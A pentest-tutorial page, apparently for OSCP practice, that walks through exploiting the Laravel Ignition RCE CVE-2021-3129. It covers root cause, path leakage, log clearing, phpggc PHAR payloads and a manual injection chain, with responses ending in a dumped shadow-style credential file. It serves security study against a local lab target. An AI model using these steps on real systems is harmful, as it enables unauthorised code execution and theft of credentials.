Laravel Ignition Remote Code Execution - CVE-2021-3129
Warning
This tool performs automatic exploitation; because exams like OSCP typically do not allow automated exploitation scripts, the manual exploitation steps below are a safer OSCP-friendly option—only test on environments you own or have explicit permission to assess (e.g., labs/approved scoped targets).
Unauthenticated access to /_ignition/execute-solution in Laravel applications running Facade/Ignition ≤ 2.5.1 with APP_DEBUG=true. The MakeViewVariableOptionalSolution class allows controlled file writes through php://filter wrappers. This enables injection of a crafted PHAR into the Laravel log file, triggering deserialization RCE via Monolog gadget chains.
Patched in Ignition ≥ 2.5.2 with stricter view file validation and local-only restrictions in later versions.
Root Cause
The endpoint processes solution classes without authentication. MakeViewVariableOptionalSolution reads a file, appends ?? '' to a variable via string replace, validates Blade tokens, then writes the modified content back.
Vulnerable code (Ignition ≤ 2.5.1):
class MakeViewVariableOptionalSolution implements RunnableSolution
{
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
}
User-controlled viewFile feeds directly into file_get_contents() and file_put_contents(). Stream wrappers bypass the replace logic while preserving Blade token validation through encoded data.
Automated Exploitation
Tool automates path/OS detection, log clearing, payload generation/cycling across Monolog and Laravel chains, precise multi-step filter injection using the generated payload, error triggering, deserialization, cleanup, and interactive shell.
Vulnerability Detection and Path Discovery
Trigger a MethodNotAllowed exception with a GET request.
HTTP/1.0 405 Method Not Allowed Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 15:20:58 GMT Connection: close X-Powered-By: PHP/7.3.31 allow: POST Cache-Control: no-cache, private date: Mon, 05 Jan 2026 15:20:58 GMT Content-type: text/html; charset=UTF-8
A 405 response with a Laravel stack trace confirms Ignition presence in debug mode.
The stack trace leaks absolute paths.
Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException: The GET method is not supported for this route. Supported methods: POST. in file /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php on line 117
#0 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(103): Illuminate\Routing\AbstractRouteCollection->methodNotAllowed(Array, 'GET')
#1 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(40): Illuminate\Routing\AbstractRouteCollection->getRouteForMethods(Object(Illuminate\Http\Request), Array)
#2 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php(162): Illuminate\Routing\AbstractRouteCollection->handleMatchedRoute(Object(Illuminate\Http\Request), NULL)
#3 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(673): Illuminate\Routing\RouteCollection->match(Object(Illuminate\Http\Request))
#4 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662): Illuminate\Routing\Router->findRoute(Object(Illuminate\Http\Request))
...
#17 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance->handle(Object(Illuminate\Http\Request), Object(Closure))
#19 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fruitcake\Cors\HandleCors->handle(Object(Illuminate\Http\Request), Object(Closure))
#21 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fideloper\Proxy\TrustProxies->handle(Object(Illuminate\Http\Request), Object(Closure))
#22 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}(Object(Illuminate\Http\Request))
#23 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(142): Illuminate\Pipeline\Pipeline->then(Object(Closure))
#24 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))
Extract paths containing /vendor/laravel/framework (Linux) or \vendor\laravel\framework (Windows).
Example leaked path: /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php
Application root: /src/laravel
Log path uses forward slashes across OS.
Log Clearing
Overwrite the log before injection.
HTTP/1.1 200 OK Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 18:27:16 GMT Connection: close X-Powered-By: PHP/7.3.31 Cache-Control: no-cache, private Date: Mon, 05 Jan 2026 18:27:16 GMT Content-Type: text/html; charset=UTF-8
Run twice to force log file creation. Success returns 200 OK.
PHAR Payload Generation
Use Monolog gadget chains from phpggc. Chains rce1 through rce22 cover PHP version differences.
The base64 payload receives additional quoted-printable encoding and UTF conversions during injection.
Manual RCE Chain
Clear the log first with the previous provided clear CURL command
Create an alignment entry
HTTP/1.1 500 Internal Server Error Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 18:30:44 GMT Connection: close X-Powered-By: PHP/7.3.31 Cache-Control: no-cache, private date: Mon, 05 Jan 2026 18:30:44 GMT Content-Type: text/html; charset=UTF-8
Success returns 500 Internal Server Error. This places "AA" in the log.
Inject the padded payload
HTTP/1.1 500 Internal Server Error Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 18:30:44 GMT Connection: close X-Powered-By: PHP/7.3.31 Cache-Control: no-cache, private date: Mon, 05 Jan 2026 18:30:44 GMT Content-Type: text/html; charset=UTF-8
Success returns 500. The encoded PHAR now sits in the log.
Decode the payload in place
HTTP/1.1 200 OK Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 18:34:17 GMT Connection: close X-Powered-By: PHP/7.3.31 Cache-Control: no-cache, private Date: Mon, 05 Jan 2026 18:34:17 GMT Content-Type: text/html; charset=UTF-8
Success returns 200 OK.
Trigger deserialization
root:!::0::::: bin:!::0::::: daemon:!::0::::: adm:!::0::::: lp:!::0::::: sync:!::0::::: shutdown:!::0::::: halt:!::0::::: mail:!::0::::: news:!::0::::: uucp:!::0::::: operator:!::0::::: man:!::0::::: postmaster:!::0::::: cron:!::0::::: ftp:!::0::::: sshd:!::0::::: at:!::0::::: squid:!::0::::: xfs:!::0::::: games:!::0::::: cyrus:!::0::::: vpopmail:!::0::::: ntp:!::0::::: smmsp:!::0::::: guest:!::0::::: nobody:!::0::::: www-data:!:18914:0:99999:7::: utmp:!:18914:0:99999:7:::
Command output appears after the closing </html> tag.
If a chain fails, adjust padding (typically 14-16 "A" bytes), verify filters, and ensure error logging triggers.
References
-
NVD CVE-2021-3129nvd.nist.gov/vuln/detail/cve-2021-3129 (opens in new tab)
-
CVE-2021-3129 scriptgithub.com/joshuavanderpoll/CVE-2021-3129 (opens in new tab)
Automatic exploitation
-
For payload generation
Was this helpful?
Your feedback helps improve this page.